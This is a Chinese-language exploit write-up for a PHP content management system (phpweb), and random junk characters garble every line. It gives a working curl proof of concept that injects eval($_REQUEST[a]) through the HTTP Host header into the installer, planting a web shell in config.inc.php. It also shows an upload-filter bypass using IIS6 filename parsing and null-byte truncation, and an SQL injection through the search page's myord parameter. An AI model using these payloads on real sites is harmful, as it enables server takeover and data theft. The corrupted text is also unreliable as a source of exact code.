注入:9 R3 o: o" x$ K. a7 F; h+ K/ g- ?
4 I; Y2 a0 a! m0 T$ H d* o- P
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
# C+ I. G9 V; K+ n3 b" H F+ g( j% u ' f3 \- @* ~* D+ ~6 m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
2 b& K2 B/ e! n鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 G! a( _8 e8 N# N5 J1 Q0 o
. w1 G4 w" `' ^6 p- F4 ^: ^虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
" S* ]' k7 G/ e4 n 1 m0 ]$ ]. U1 q* }! I' M4 ?8 {
分析:, g# g& |9 p5 c% ^6 X: h
5 K. ~3 w, G4 I( r# C- c3 q
. Y6 l$ E9 s( I7 |$ E' i$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤$ L) n2 X r E
. N; |4 G2 e0 W9 Y! B2 o5 f $filestr = fread(fopen($SysConfigFile, 'r'),30000);
- }8 ~' R" Z. d8 ?5 e. ~" |: S. I $filestr=str_replace(" ","",$filestr);
2 Z: ?$ M c/ ~* Y $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);; Z6 ^% O. H5 L2 `6 h
$filestr=str_replace("DefaultDbName",$dbname,$filestr);0 D @! h6 e4 P- {( ]
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ g: U6 W( [& W2 y" H4 o
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$ ^$ s# N$ Y6 a" e $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 w$ I' \2 F$ W9 G
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);: @0 B+ D" `# G. n' g: H
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
' G0 `3 p9 k) O! z
6 o' y1 m# ~: h1 M$ P- } fwrite(fopen($ConFile,"w"),$filestr,30000);
( o/ M/ `( a8 v" K$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^' q5 M# z) x% N0 v$ _4 v. o$ l
, @9 N b( t: ~& c. g8 b! v7 X" E
poc:
+ C8 L8 t- d' n: V ] ) p5 V+ g$ f) ?/ d) L) }
?! @; P$ [6 R, t) Y
1' l8 K. _% h7 e, b
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
* k [8 T3 G5 J% e- zshell地址: /config.inc.php2 t7 R; _2 J: `: ~( ~1 N$ y
跟之前的 phpcms一样 需要远程数据库
/ I' R2 X( g7 C% ^2 I
1 ~5 o1 \, r- v/ n% a; P——————————————————– `9 A, i. s+ L: a1 _- Q- ?/ R
上传漏洞(需要进后台):
3 O+ y+ `2 o. Q4 P$ O, p* b+ m漏洞文件: /kedit/upload_cgi/upload.php) g& ~3 x* d( y* X
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用$ f, s4 _* [# J& w+ w q
- L" F' M9 F- n6 q% Q
: ^( R5 H1 ?# n% A, j<?php
# w9 A, w& B2 o+ _9 ~. o1 o Z define("ROOTPATH", "../../");
- O+ h; S/ B% `& H0 s5 A include(ROOTPATH."includes/admin.inc.php");
; t4 L9 f+ H. Y9 @! N NeedAuth(0);
8 W' h1 L) A% n1 H" i & ?5 \. |( C8 \8 K! q8 B: R
$dt=date("Ymd",time());
/ J B. ~! w- y: s: n& g7 c4 m& S if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
L: `, `! R( d+ b3 W2 \' k @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 _0 R7 M4 Y, `/ T }
; }6 ~8 T% a$ v P$ E6 v% L
9 C$ y* p: G3 L# G' }' Q8 I( c //文件保存目录路径
F5 C0 Z% z0 ? \2 X $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';% K: v& k! H0 y9 E1 P$ \; n# @# }
echo $save_path;
4 c! M9 [# T, [) K( o9 ~+ Z //文件保存目录URL3 q* c' D9 q( p* M' Y& b7 C; f
$save_url = '../../'.$_POST['attachPath'].$dt.'/';+ F# P- q5 {# l
! o8 l" |2 M5 P2 o! X: c //定义允许上传的文件扩展名
; r/ H5 l# U% W; a' @5 d $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 [- S T( L" b5 _3 i9 J1 E$ Y " {: {! n7 f0 k& j+ D
//最大文件大小: a) c8 W1 Z9 z
$max_size = 1000000;% \# g5 }% F$ _8 M9 D0 S
2 B* b/ N* K# V" w6 G( A) y //更改目录权限& t4 `, |. ?2 o+ T; ?. M+ M
@mkdir($save_path, 0777);# w# |4 j( d. x; U
$ X/ j# S, G# s) C
//文件的全部路径
0 S5 S2 ?# k0 }' B& f' i- ]' Y3 ]3 G $file_path = $save_path.$_POST['fileName']; //保存文件名( P# l6 {3 u; ^4 [5 {! D' _1 u
. r- x+ }2 b* |# D2 B7 M8 ~. _3 j //文件URL
. Y% R! u8 D, N# k& P $file_url = $save_url.$_POST['fileName'];* k& \2 I" a1 p Z0 Z
//有上传文件时- s" [$ ?$ `1 `2 H R4 e( k
if (empty($_FILES) === false) {- V& I: n! y2 C* J% T( H$ [4 R& h [
4 w7 m$ p1 j" R* o0 a //原文件名
& @: }+ B5 x0 A5 D) ? $file_name = $_FILES['fileData']['name'];
, ~- J; T4 {8 {; d //服务器上临时文件名
2 c( Z/ i# l1 H+ F $tmp_name = $_FILES['fileData']['tmp_name'];
+ l0 i* _ j) A% u9 E //文件大小
3 ?( ?( P& T) X: Z, w* G r4 C $file_size = $_FILES['fileData']['size'];
2 v. f/ i; G/ Z4 W0 U% M5 n //检查目录7 H/ X F7 a6 k: ]
if (@is_dir($save_path) === false) {4 H- _) P+ ^/ R( K# T; i
alert("上传目录不存在。");
0 Q9 o4 S3 y8 v* ] }
- F. U; f8 f$ F) m1 \; S3 e //检查目录写权限% i# ~9 h( J6 ]7 R/ p8 d! U- Q' d0 u
if (@is_writable($save_path) === false) {1 V6 q0 [4 Y8 e8 ^7 h
alert("上传目录没有写权限。");- q3 k; U! v$ n* ?
}
0 N2 m8 F" M! f8 m. ^) A0 v7 r //检查是否已上传
# L; a% s2 w0 E& A& A2 r" W if (@is_uploaded_file($tmp_name) === false) {
w: }1 p% f6 n5 U6 y alert("临时文件可能不是上传文件。");, u1 i. i, g- J. z; h
}
* ?1 ~' T' K4 K# f //检查文件大小8 D" K' P4 m* L- _# |2 W
if ($file_size > $max_size) {
9 I3 d( [+ ~1 a$ T alert("上传文件大小超过限制。");
]8 r% _1 B! m8 E* U. I# R5 x, C }
: b6 a) E! w+ V9 {) B3 e. ^ //获得文件扩展名
8 q( }: V/ m. g+ N4 n/ Q+ j7 ] $temp_arr = explode(".", $_POST['fileName']);
4 }- f2 h5 |9 a8 s$ t8 k $file_ext = array_pop($temp_arr);9 [2 h8 N K7 j$ D, x7 `0 w
$file_ext = trim($file_ext);3 `* f3 _" g. p: ~* f! c
$file_ext = strtolower($file_ext);% b' r( k. ~/ b/ f: C! ~3 L2 s2 f5 P& |
7 k! {; q3 |5 A3 D$ O2 X7 A1 I //检查扩展名
2 J" ?+ J5 B) ?4 S if (in_array($file_ext, $ext_arr) === false) {
% q+ W* P3 H' T: h alert("上传文件扩展名是不允许的扩展名。");
: y) c3 k) e& z2 f3 K }
/ A- Y5 Z8 L* m- @" x" s6 v
5 i0 w. n8 C1 t! v //移动文件 # `5 R, N8 g1 D: h$ ~
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^. K% }' T# M/ q; W2 ^8 s
if (move_uploaded_file($tmp_name, $file_path) === false) {" M/ _" A& H# Y) y C5 F( n
alert("上传文件失败。");. Y3 \' o7 d5 c" s7 t% q9 \
}* s& K+ r' w ?4 A( [9 @6 v
9 }! G" }9 T' M. Y+ l* R/ D
@chmod($file_path,0666);
6 z5 G3 [3 C' A9 Y0 B' h* Y 4 z. ]$ s# l# Y: r k! D$ ?
?>3 \4 \. P2 O0 l% Y* K8 |
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ l8 s0 ~/ W4 p5 A* G
) m! S6 X0 Y& J9 Y% A, Uapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 b) C* A% V! n+ A $ L$ s- v- n8 Y$ {
——————————————————/ u5 @" n6 {4 ?5 c& j, [
注入漏洞:0 b @2 l, @% Y5 ~: V; R+ y
漏洞文件:search/module/search.php
3 h5 a8 V X+ j* y% ^' A4 y7 R/search/index.php?key=1&myord=1 [sqlinjection]1 X n/ F1 z5 }4 M P$ t
6 |% V7 T" [! i5 k! \' E( z : I" `: H) E5 T& l4 I
<?php4 ~! S# K$ V6 P0 s" U) K; H9 ~2 R
// ... 省略 n 行...
2 G& V2 a' J: x+ c" V0 s //第18行:
4 h6 s) w' I5 l0 g3 J $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响$ M) b, @6 e" h4 C2 m/ G1 J+ p
$page=htmlspecialchars($_GET["page"]);
) a. i/ w9 Y- @9 H8 q $myord=htmlspecialchars($_GET["myord"]);+ [. ^) z( \ N V; u C2 S% k
( s0 ]( R; B7 ]. A; x% q: U // ... 省略 n 行...
; L" T$ h4 b% e2 L7 C $key,$myord 两个参数带入查询2 W: `( D: h9 Q# f$ H N: y
//第47行 $key:
. o0 Y r ~. }3 y. A# O4 { ' p: `: `0 e0 ]) b% o ~
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
& Y9 h8 z' P7 b' v7 h$ Z% v- [ $ Q+ r! M$ Z8 A! P# F1 `2 U' e
//第197行 $myord
3 j7 q/ H1 t2 B$ C+ `, G3 B $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. X) O/ V- B+ D E% o
5 O2 [3 Q, g! H8 f5 ]4 z ?>3 |' A0 z. u1 \7 k# Y
|